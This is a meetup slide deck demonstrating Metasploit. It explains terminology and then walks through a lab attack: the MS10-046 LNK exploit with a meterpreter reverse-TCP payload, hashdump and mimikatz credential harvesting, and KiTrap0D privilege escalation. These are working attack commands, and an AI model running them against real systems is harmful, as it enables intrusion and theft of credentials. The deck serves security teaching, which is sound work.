19
Metasploit Demo Rupam Bhattacharya

Metasploit Demo

Embed Size (px)

DESCRIPTION

null Bangalore Chapter - May 2014 Meet

Citation preview

Page 1: Metasploit Demo

Metasploit Demo

Rupam Bhattacharya

Page 2: Metasploit Demo

Introduction

• It is a free, open source penetration testing framework started by H. D. Moore in 2003, which was later acquired by Rapid7. The current stable versions of the framework are written using the Ruby language. It has the world's largest database of tested exploits and receives more than a million downloads every year. It is also one of the most complex projects built in Ruby to date.

Page 3: Metasploit Demo

Terminology

Vulnerability: It is a weakness which allows an attacker/pentester to break into or compromise a system's security. This weakness can either exist in the operating system, application software, or even in the network protocols. Exploit: Exploit is a code which allows an attacker/tester to take advantage of the vulnerable system and compromise its security. Every vulnerability has its own corresponding exploit. Metasploit v4 has more than 1200 exploits. Payload: It is the actual code which does the work. It runs on the system after exploitation. They are mostly used to set up a connection between the attacking and the victim machine. Metasploit v4 has more than 400 payloads. Module: Modules are the small building blocks of a complete system. Every module performs a specific task and a complete system is built by combining several modules to function as a single unit. The biggest advantage of such an architecture is that it becomes easy for developers to integrate a new exploit code and tools into the framework.

Page 4: Metasploit Demo

Demo

• msfconsole It provides an "all-in-one" centralized console and allows you efficient access to virtually all of the options available in the Metasploit Framework.

Page 5: Metasploit Demo

Demo

• use exploit/windows/browser/ms10_046_shortcut_icon_dllloader

• Also, used in Stuxnet. • This module exploits a vulnerability in the

handling of Windows Shortcut files (.LNK) that contain an icon resource pointing to a malicious DLL. This module creates a WebDAV service that can be used to run an arbitrary payload when accessed as a UNC path.

• CVE-2010-2568

Page 6: Metasploit Demo

Demo

• show options

• set SRVHOST 192.168.56.102

Page 7: Metasploit Demo

Demo

• set PAYLOAD windows/meterpreter/reverse_tcp

• Connect back to the attacker, Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged).

• set LHOST 192.168.56.102

Page 8: Metasploit Demo

Demo

Page 9: Metasploit Demo

Demo

• exploit

Page 10: Metasploit Demo

Demo

Page 11: Metasploit Demo

Demo

• show sessions

• sessions -i 1

• help

• sysinfo

Page 12: Metasploit Demo

Demo

• Getuid

• run post/windows/gather/hashdump

• load mimikatz

– wdigest

Page 13: Metasploit Demo

Demo

• shell

• net user Rupam

This is a local admin. Now we will try to elevate privileges to get SYSTEM level access.

Page 14: Metasploit Demo

Demo

• Background

• use exploit/windows/local/ [TAB TAB]

• use exploit/windows/local/ms10_015_kitrap0d

• This module will create a new session with SYSTEM privileges via the KiTrap0D exlpoit by Tavis Ormandy. If the session is use is already elevated then the exploit will not run. The module relies on kitrap0d.x86.dll, and is not supported on x64 editions of Windows.

Page 15: Metasploit Demo

Demo

• set SESSION 1

• set PAYLOAD windwos/meterpreter/reverse_tcp

• set LHOST 192.168.56.102

• set LPORT 4443

• show options

• exploit

Page 16: Metasploit Demo

Demo

Page 17: Metasploit Demo

Demo

• show sessions

• sessions -i 2

• load mimikatz

– wdigest

Page 18: Metasploit Demo

Demo

• run post/windows/gather/hashdump

Page 19: Metasploit Demo

Who am I?

• Rupam Bhattacharya

• Reach me at [email protected]

• Handle: @ru94mb